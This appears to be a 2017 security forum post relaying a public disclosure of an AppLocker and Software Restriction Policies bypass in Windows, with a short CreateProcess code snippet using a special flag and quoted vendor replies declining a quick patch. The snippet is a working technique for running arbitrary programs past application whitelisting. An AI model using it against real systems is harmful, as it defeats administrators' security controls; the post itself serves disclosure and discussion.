Applocker Bypass

itman · Apr 18, 2017

Defense in depth -- the Microsoft way (part 47): "AppLocker bypasses are not serviced via monthly security roll-ups"

Based on this disclosure: http://seclists.org/fulldisclosure/2017/Mar/69 and the following (disgusting) Microsoft statements, this has not been patched as best as I can determine:

Unprivileged users can but bypass AppLocker or SAFER alias Software
Restriction Policies via

STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi = {0};
CreateProcess(TEXT("<arbitrary exe>"), NULL, NULL, NULL, FALSE,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL, NULL, NULL, &si, &pi);

on ALL versions from Windows XP to Windows 10!

2017-03-21 reply from vendor:
"The product team has finished their investigation and
determined this will be serviced in a future version
of Windows. AppLocker bypasses are not serviced via
monthly security roll-ups; only major version updates."

2017-03-21 reply from vendor:
"If you want this fixed immediately and are an
enterprise customer you'll need to work with your
Account Manager to open a support case."
Click to expand...

Log in or Sign up

Applocker Bypass

itman Registered Member

Log in or Sign up

Applocker Bypass

itman Registered Member

Useful Searches